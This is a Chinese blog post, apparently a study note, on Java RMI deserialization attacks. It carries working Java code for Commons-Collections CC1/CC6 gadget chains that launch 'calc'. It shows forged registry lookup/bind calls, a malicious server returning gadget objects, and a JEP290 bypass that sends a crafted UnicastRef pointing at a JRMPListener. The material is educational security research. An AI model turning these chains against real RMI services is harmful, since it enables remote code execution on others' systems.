首页 > 编程语言 >java反序列化(四) RMI反序列化

java反序列化(四) RMI反序列化

时间:2023-04-16 20:11:55浏览次数:47  
标签:序列化 java registry new RMI class 服务端 客户端

RMI

RMI(Remote Method Invocation),为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

1680097572722

注册中心是一个特殊的服务端,一般与服务端在同一主机上

RMI流程

https://www.cnblogs.com/p1a0m1a0/p/17071632.html这篇中很详细的记录了各个流程

简单来说就是在注册中心、服务端、客户端三者交互时信息以序列化对象的形式进行传递。客户端把参数序列化发送,然后服务端反序列化读取接收。接着反过来,服务端把信息序列化发送,客户端反序列化接收,这样就构成了基本的攻击思路。

此外所有客户端的请求都会调用executeCall,其中会调用readObject,也就是JRMP协议。所以从服务端攻击客户端的手法多一种

一个简单的实例

服务端

1681550358596

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        UserImpl user = new UserImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("user",user);
    }
}
package org.example;

import java.rmi.RemoteException;

public interface User extends java.rmi.Remote {
    public void getUser() throws RemoteException;
    public void addUser(Object user) throws RemoteException;
}
package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl extends UnicastRemoteObject implements  User{
    protected UserImpl() throws RemoteException {
    }

    @Override
    public void getUser() throws RemoteException {
        System.out.println("No user!");
    }
}

客户端

1681550385066

package org.example;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User) registry.lookup("user");
        user.getUser();
    }
}

运行后在服务端显示

1681550593146

直接攻击

攻击注册中心

因为很多时候注册中心与服务端在同一主机,所以这里假设攻击从客户端发出,客户端与服务中心间的交互方式有bind、rebind、unbind、lookup和list

bind&rebind

以bind为例,rebind类似

1681464293158

1681531072001

基本就是沿用cc1,但因为bind函数实际参与反序列化的第二个参数的类型是Remote,所以要想办法将cc1构造的对象转化为Remote

    public static void main(String[] args) throws IOException, NotBoundException, NoSuchFieldException, IllegalAccessException, AlreadyBoundException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);       

        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        //强制类型转换,
        Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler));
        registry.bind("test",r);

    }

lookup&unbind

bind和unbind穿的remote类型还可以强制类型转换一下,但lookup中只能传递string类型的对象,不能使用同一办法

1681529977068

但是服务端在反序列化时是不会检测类型的,所以我们可以自己伪造下lookup函数,让它可以传递其他类型

1681530140840

观察下lookup里的newCall发现用到了ref、this(就是注册中心)和operation,所以伪造时还要先获取下这几个参数

//换个cc6    
public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //目标是触发LazyMap的get()
        HashMap<Object, Object> map =new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去


        //TiedMapEntry的hashCode()方法会简间接调用get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        //HashMap的readObject()方法会调用hash(),进而调用hashCode()
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
        lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
        //lazyMap.clear();

        //等到put完了再通过反射修改
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);



        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(map2);
        ref.invoke(var2);

其实上面的bind也可以通过伪造bind来传递其他类型的对象,方法类似

攻击服务端

同上,假设从客户端攻击

改写下上面实例中的User类,添加一个参数类型为object的方法

public void addUser(Object user) throws RemoteException;

然后在客户端尝试调用这个方法,参数为构造的恶意类,即可成功攻击

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.addUser(map2);

原因是客户端把这个参数序列化(marshalValue内的writeObject)传给服务端,服务端接收后反序列化(unmarshalValue)处理触发

1681554956557

攻击客户端

客户端攻击注册中心和服务器的手法只要反过来就可以攻击客户端

注册中心攻击客户端

思路是反向利用之前的bind、lookup等方法,以bind为例,bind在把序列化对象传给注册中心后接着会接受回传的消息,进而触发反序列化

1681567230255

1681567329125

1681567392589

这里偷懒模仿前人用下yeso里的JRMPListener,JRMPListener主要实现了rmi流程中的各种协议,包括各种ack之类的,总之核心目的就是把payload发给连接者

注册中心

1681568937141

客户端

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();//用其他几个也是一样的
//registry.lookup("1");

服务端攻击客户端

想想之前那个简单的实例,在服务端正经实现了getUser方法。如果不正经实现,并且return一个恶意对象,这样客户端接受到时就会触发命令执行

服务端

服务端构造恶意getUser

public interface User extends java.rmi.Remote {
    public Object getUser() throws Exception;
    public void addUser(Object user) throws RemoteException;
}
public Object getUser() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        //目标是触发LazyMap的get()
        HashMap<Object, Object> map =new HashMap();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));//随便放个没用的transformer进去


        //TiedMapEntry的hashCode()方法会简间接调用get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        //HashMap的readObject()方法会调用hash(),进而调用hashCode()
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "bbb");//但为了赋值我们还需要put一下,而HashMap的put方法会间接触发tiedMapEntry的hashCode(),然后触发整条连
        lazyMap.remove("aaa");//整条链中包括LazyMap的get()方法,为了消除正向序列化时的影响这里remove("aaa")
        //lazyMap.clear();

        //等到put完了再通过反射修改
        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

        return map2;
    }
UserImpl user = new UserImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("user",user);

客户端

客户端尝试正常调用getUser方法就会得到恶意对象触发反序列化执行命令

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User) registry.lookup("user");
user.getUser();

值得注意的是客户端和服务端的User接口声明必须一样,否则会报错

高版本绕过

高版本中引入了JEP290,JEP290机制简单来说就是对反序列化的对象设置了白名单,影响的版本包括8u121、7u131 、6u141以及之后的版本,白名单包括

String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

但过滤都是针对服务端和注册中心的,对针对客户端的攻击没有影响,所以一个思路就是让服务端以客户端的身份发出一个请求,接收我们的恶意对象

关于DGC

具体见这篇https://blog.csdn.net/qq_53264525/article/details/129348793

dgc是rmi的分布式垃圾回收模块,在创建远程对象时会执行这部分代码,dgc的处理流程与服务中心类似,同样有着skeleton和stub,二者的通过客户端的clean和dirty两个方法交流,其中dirty中存在反序列化点

1681646320198

1681437750000

再看skeleton,dispach中的case0和case1分别对应clean和dirty,都存在反序列化点

1681438024220

1681438036076

所以说不管是攻击服务端还是客户端,都可以通过dgc。dgc在低版本中也是可以用来直接攻击的,但这里主要关注在高版本绕过时的应用

绕过

根据前面分析可知当客户端调用dirty方法后会接收来自服务端的序列化对象,然后对其进行反序列化操作

发起dirty

首先我们找到调用dirty的地方,正常的流程是不会触发这段代码的(不然直接就能攻击了),所以目标是人为改变一些参数使得服务端会创建这个dgc,顺着找下去(有的类我下载的源码跟8u65里class反编译出来的不太一样,不过问题不大)

1681644622875

1681644665625

1681644686848

1681644712737

1681644754681

我们发现其实在服务端skel中很多地方都调用了releaseInputStream,也就说是很有希望能创建以DGC并发起一个dirty请求的,比如说在接受到bind时就会调用releaseInputStream

1681616498252

1681616755701

但是断在了这里,没能进入if,因为正常流程上incomingRefTable一直是空的

1681615041941

修改参数

如果我们可以修改incomingRefTable的参数,让服务端正常走入上段代码,就可以通过JRMPListener实现攻击

先看下incomingRefTable,这个HashMap存储了Endpoint信息,用于与另一实体进行通信。如果能把这个通信对象设置成恶意服务端就可以实现攻击

1681635087341寻找incomingRefTable的赋值位置

1681627700244

1681627729460

1681627798306

readExternal的功能类似readObject,也会在反序列化时调用,而Unicastref又恰好在白名单里,所以攻击思路如下

涉及的对象有:客户端、服务端、伪造服务端(JRMPListener)

  • 客户端构造UnicastRef对象,通过bind等方式传递给服务端,服务端读取UnicastRef后给incomingRefTable赋值
  • 服务端反序列化UnicastRef,给incomingRefTable赋值,接着以客户端的身份向incomingRefTable指定的伪造服务端发起dirty请求
  • 伪造服务端接收dirty请求,向服务端发送恶意对象(如cc1),由于在这个过程中服务端的身份是客户端,所以不会触发JEP290的过滤,服务端直接反序列化恶意对象,实现rce

在一个正常的rmi流程中,客户端通过getResgistry得到的注册中心实质上是一个封装了UnicastRef对象的对象,在后续bind等方法时就是通过UnicastRef中储存的信息与注册中心交互。所以当我们把一个包含了恶意服务端信息的UnicastRef传给服务端时,服务端就可以通过这个UnicastRef与恶意服务端交互

客户端

public class RMIClient {
    public static void main(String[] args) throws Exception {
    	Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);//服务端
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 4399);//恶意服务端
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
                
        //和前面直接攻击伪造lookup一样
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref2 = (UnicastRef) fields_0[0].get(registry);

        //获取operations
        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref2.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(ref);
        ref2.invoke(var2);
    }
}

服务端

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        UserImpl user = new UserImpl();
        Registry r = LocateRegistry.createRegistry(1099);
        r.bind("user",user);
    }
}

恶意服务端

1681635255388

总结

直接攻击就是想办法把已学的cc链往rmi的传输结构上套,麻烦的地方还是rmi本身吧

绕过JEP290的地方相当于一个二次反序列化

总之暂且过了一遍rmi,有些地方分析的还是比较乱,以后有机会动态调试再研究研究

参考

https://xz.aliyun.com/t/9053

https://www.cnblogs.com/escape-w/p/16107675.html 更多版本的区别

标签:序列化,java,registry,new,RMI,class,服务端,客户端
From: https://www.cnblogs.com/carama1/p/17323938.html

相关文章

  • Java | 一分钟掌握JDK命令行工具 | 4 - 可视化分析工具
     作者:Mars酱 声明:本文章由Mars酱编写,部分内容来源于网络,如有疑问请联系本人。 转载:欢迎转载,转载前先请联系我!前言我们其实在分析的时候,也并不是必须使用命令行工具才能可以分析。JDK还提供了可视化工具让大家可以在图形化的操作系统中使用。可视化分析工具可视化分析工具分两种:......
  • Java运算符优先级分析
    packagecom.zt.javase01;publicclassTest2{publicstaticvoidmain(String[]args){intn=10;n+=(n++)+(++n);System.out.println(n);//输出32/*(n++)(++n)从左到右执行因此(n+......
  • Java编码
    有关编码的基础知识1.位bit最小的单元字节byte机器语言的单位1byte=8bits1B=1byte1KB=1024B1MB=1024KB1GB=1024MB 字符:是各种文字和符号的总称,包括各个国家的文字,标点符号,图形符号,数字等。字符集:字符集是多个符号的集合,每个字符集包含的字符个数不同。字符编码:......
  • 深入理解 Java 的整型类型:如何实现 2+2=5?
    在开始关于Java的整型类型讨论之前,让我们先看下这段神奇的Java代码:publicstaticvoidmain(String[]args)throwsException{doSomethingMagic();System.out.printf("2+2=%d",2+2);}执行结果,控制台打印的内容:2+2=5那么doSomethingMagic方法......
  • js 传递汉字 乱码_JavaScript 字符串反转乱码问题解决
    https://blog.csdn.net/weixin_36483301/article/details/113451892emoji表情和非常用字实际解决中文编码问题,可以通过解码解决js中使用decodeURL即可解决......
  • java反射
    java反射1.基本定义Java反射机制是在运行状态时,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。可以说为对象可以通过......
  • 腾讯云服务 运行Docker 命令 报错 -bash: /usr/bin/docker: Permission denied
    一、报错信息-bash:/usr/bin/docker:Permissiondenied二、解决方案网上的解决方案https://blog.csdn.net/Bingorl/article/details/123349837我试了但是无效最后究极解决方案:重置腾讯云服务重装Docker  SUCCESS!!!!!!!!!!!!!!!!!......
  • Java中abstract(抽象类)
    1、概述(1)只给出方法定义而不具体实现的方法被称为抽象方法,抽象方法是没有方法体的,在代码的表达上就是没有“{}”。使用abstract修饰符来表示抽象方法和抽象类。(2)abstract修饰符表示所修饰的类没有完全实现,还不能实例化。如果在类的方法声明中使用abstract修饰符,表明该方法是一个......
  • Java JDBC批处理添加出现问题,求解决方案
    晚辈使用JDBC批处理时出现一个问题,使用addBatch()方法将记录加入批处理中,我想让这五千条记录每达到一千条记录再执行,以此提高效率,可最后执行在数据库查看时仅五条记录,我尝试将 preparedStatement.executeUpdate();提出if语句,虽然是有五千条记录,但效率相当的慢请求前辈们给出解决......
  • java多版本共存
    原理通过脚步改变path环境变量来实现java多版本切换.这里使用的是Win10.一,删除原有的java搜索路径.在安装高版本的java时,会添加一个路径到path环境变量中,如我的C:\ProgramFiles\CommonFiles\Oracle\Java\javapath,在该目录下存有java.exe和javac.exe等.在用cmd执行命令时,......